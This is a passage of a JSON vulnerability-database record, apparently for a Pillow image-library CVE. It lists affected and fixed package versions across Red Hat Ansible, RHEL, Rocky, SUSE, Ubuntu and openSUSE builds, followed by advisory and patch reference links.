Hat:ansible_automation_platform_developer:2.5::el8","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-daphne","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.2.2-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-daphne","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.2.2-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.31-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.31-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pyasn1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.4-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pyasn1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.4-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-eda-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.11-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-eda-controller-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.11-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-eda-controller-base-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.11-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-eda-controller-event-stream-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.11-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-eda-controller-worker-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.11-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-proxy-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-gateway-proxy-server-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.1-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.1-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.1-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el10ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"receptor-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el10ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"receptor-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el10ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el10ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.6::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.6::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"receptor-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"receptor-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-daphne","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.2.2-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.15-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.15-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.15-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.15-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.15-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.15-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.15-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-pyasn1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.4-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"python-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"python3-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"python3-pillow-tk-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"python-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"python3-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"python3-pillow-tk-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-15.el8_4.2"}]}],"bundled":6},{"source":"osv","ecosystem":"Rocky Linux:8","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Root:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.1.0+aikido.7"},{"fixed":"12.1.0+aikido.8"},{"fixed":"12.1.0+aikido.9"},{"fixed":"12.1.0+aikido.10"},{"fixed":"9.3.0+aikido.11"},{"fixed":"11.1.0+aikido.9"},{"fixed":"12.1.0+aikido.11"},{"fixed":"11.1.0+aikido.10"},{"fixed":"11.2.1+aikido.5"},{"fixed":"9.3.0+aikido.12"},{"fixed":"9.5.0+aikido.11"},{"fixed":"12.2.0+aikido.5"},{"fixed":"9.3.0+aikido.13"},{"fixed":"10.4.0+aikido.11"},{"fixed":"12.1.0+aikido.12"},{"fixed":"11.2.1+aikido.6"},{"fixed":"11.1.0+aikido.11"},{"fixed":"10.3.0+aikido.13"},{"fixed":"11.0.0+aikido.10"},{"fixed":"11.2.1+aikido.7"},{"fixed":"9.3.0+aikido.14"},{"fixed":"11.1.0+aikido.12"},{"fixed":"9.5.0+aikido.12"},{"fixed":"12.2.0+aikido.6"},{"fixed":"10.4.0+aikido.12"},{"fixed":"9.3.0+aikido.15"},{"fixed":"11.1.0+aikido.13"},{"fixed":"12.1.0+aikido.13"},{"fixed":"10.3.0+aikido.14"},{"fixed":"11.0.0+aikido.11"},{"fixed":"9.3.0+aikido.16"},{"fixed":"10.3.0+aikido.15"},{"fixed":"10.4.0+aikido.13"},{"fixed":"9.3.0+aikido.17"},{"fixed":"9.5.0+aikido.13"},{"fixed":"11.2.1+aikido.8"},{"fixed":"11.0.0+aikido.12"},{"fixed":"11.1.0+aikido.14"},{"fixed":"12.1.0+aikido.14"},{"fixed":"12.2.0+aikido.7"},{"fixed":"10.3.0+aikido.16"},{"fixed":"10.4.0+aikido.14"},{"fixed":"11.1.0+aikido.15"},{"fixed":"11.2.1+aikido.9"},{"fixed":"10.2.0+aikido.1"},{"fixed":"12.2.0+aikido.8"},{"fixed":"9.0.1+aikido.1"},{"fixed":"10.4.0+aikido.15"},{"fixed":"12.1.0+aikido.15"},{"fixed":"9.0.1+aikido.2"},{"fixed":"10.3.0+aikido.17"},{"fixed":"8.0.1+aikido.1"},{"fixed":"11.0.0+aikido.13"},{"fixed":"9.5.0+aikido.14"},{"fixed":"8.1.2+aikido.1"},{"fixed":"8.0.1+aikido.2"},{"fixed":"10.4.0+aikido.16"},{"fixed":"10.1.0+aikido.1"},{"fixed":"10.0.0+aikido.1"},{"fixed":"10.3.0+aikido.18"},{"fixed":"10.2.0+aikido.2"},{"fixed":"10.3.0+aikido.19"},{"fixed":"10.4.0+aikido.17"},{"fixed":"10.3.0+aikido.20"},{"fixed":"8.2.0+aikido.1"},{"fixed":"9.4.0+aikido.1"},{"fixed":"9.0.0+aikido.1"},{"fixed":"9.2.0+aikido.1"},{"fixed":"9.0.0+aikido.2"},{"fixed":"11.0.0+aikido.14"},{"fixed":"7.0.0+aikido.2"},{"fixed":"7.0.0+aikido.3"},{"fixed":"12.2.0+aikido.9"},{"fixed":"9.5.0+aikido.15"},{"fixed":"9.5.0+aikido.16"},{"fixed":"9.5.0+aikido.17"},{"fixed":"9.5.0+aikido.18"},{"fixed":"9.5.0+aikido.19"},{"fixed":"10.4.0+aikido.18"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.3.0-160000.6.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.3.0-160000.6.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.2.0-150300.3.27.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1-1ubuntu2","2.2.1-2ubuntu1","2.2.1-3ubuntu2","2.2.1-3ubuntu3","2.2.1-3ubuntu4","2.2.1-3ubuntu6","2.3.0-1ubuntu1","2.3.0-1ubuntu2","2.3.0-1ubuntu3","2.3.0-1ubuntu3.2","2.3.0-1ubuntu3.3","2.3.0-1ubuntu3.4","2.3.0-1ubuntu3.4+esm1","2.3.0-1ubuntu3.4+esm2","2.3.0-1ubuntu3.4+esm3","2.3.0-1ubuntu3.4+esm4","2.3.0-1ubuntu3.4+esm5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.9.0-1","3.0.0-1","3.0.0-1build1","3.1.0-1","3.1.1-1","3.1.2-0ubuntu1","3.1.2-0ubuntu1.1","3.1.2-0ubuntu1.3","3.1.2-0ubuntu1.4","3.1.2-0ubuntu1.5","3.1.2-0ubuntu1.6","3.1.2-0ubuntu1.6+esm1","3.1.2-0ubuntu1.6+esm2","3.1.2-0ubuntu1.6+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.1.1-3build2","4.3.0-2ubuntu1","5.0.0-1","5.1.0-1","5.1.0-1ubuntu0.2","5.1.0-1ubuntu0.3","5.1.0-1ubuntu0.4","5.1.0-1ubuntu0.5","5.1.0-1ubuntu0.6","5.1.0-1ubuntu0.7","5.1.0-1ubuntu0.8","5.1.0-1ubuntu0.8+esm1","5.1.0-1ubuntu0.8+esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.0-1","6.1.0-1build1","6.2.1-2","7.0.0-4","7.0.0-4build1","7.0.0-4ubuntu0.1","7.0.0-4ubuntu0.2","7.0.0-4ubuntu0.3","7.0.0-4ubuntu0.4","7.0.0-4ubuntu0.5","7.0.0-4ubuntu0.6","7.0.0-4ubuntu0.7","7.0.0-4ubuntu0.8","7.0.0-4ubuntu0.9","7.0.0-4ubuntu0.9+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow-python2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1-3~build1","6.2.1-3","6.2.1-3ubuntu0.1~esm1","6.2.1-3ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.0.1-1ubuntu0.6"}]}],"versions":["8.1.2+dfsg-0.3","9.0.0-1","9.0.1-1","9.0.1-1build1","9.0.1-1ubuntu0.1","9.0.1-1ubuntu0.2","9.0.1-1ubuntu0.3","9.0.1-1ubuntu0.4","9.0.1-1ubuntu0.5"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.2.0-1ubuntu1.4"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.2.0-1build1","10.2.0-1ubuntu1","10.2.0-1ubuntu1.2","10.2.0-1ubuntu1.3"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.1.1-2ubuntu1.4"}]}],"versions":["11.3.0-1ubuntu1","11.3.0-1ubuntu2","12.0.0-1ubuntu1","12.1.1-1ubuntu1","12.1.1-2ubuntu1","12.1.1-2ubuntu1.1","12.1.1-2ubuntu1.2","12.1.1-2ubuntu1.3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.0.1-1ubuntu0.6"}]}],"versions":["8.1.2+dfsg-0.3","9.0.0-1","9.0.1-1","9.0.1-1build1","9.0.1-1ubuntu0.1","9.0.1-1ubuntu0.2","9.0.1-1ubuntu0.3","9.0.1-1ubuntu0.4","9.0.1-1ubuntu0.5"],"bundled":11},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.2.0-1ubuntu1.4"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.2.0-1build1","10.2.0-1ubuntu1","10.2.0-1ubuntu1.2","10.2.0-1ubuntu1.3"],"bundled":11},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.1.1-2ubuntu1.4"}]}],"versions":["11.3.0-1ubuntu1","11.3.0-1ubuntu2","12.0.0-1ubuntu1","12.1.1-1ubuntu1","12.1.1-2ubuntu1","12.1.1-2ubuntu1.1","12.1.1-2ubuntu1.2","12.1.1-2ubuntu1.3"],"bundled":11},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0-1.1"}]}],"bundled":24},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.3.0-160000.6.1"}]}],"bundled":5}],"products":[{"vendor":"python","product":"pillow"},{"vendor":"python-pillow","product":"pillow"}],"references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","evidence","article","report"]},{"url":"https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d","tags":["x_refsource_MISC","Patch","fix","web","article"]},{"url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","tags":["x_refsource_MISC","Release Notes","article","web","advisory","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54059","tags":["web","advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-8v84-f9pq-wr9x"},{"url":"https://access.redhat.com/errata/RHSA-2026:39127","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54059","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54060","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-55379","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-55380","tags":["report"]},{"url":"https://bugzilla.redhat.com/2497452","tags":["report"]},{"url":"https://bugzilla.redhat.com/2497455","tags":["report"]},{"url":"https://bugzilla.redhat.com/2497464","tags":["report"]},{"url":"https://bugzilla.redhat.com/2497466","tags":["report"]},{"url":"https://errata.almalinux.org/8/ALSA-2026-39127.html","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54059.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-54059","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2026-0463.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=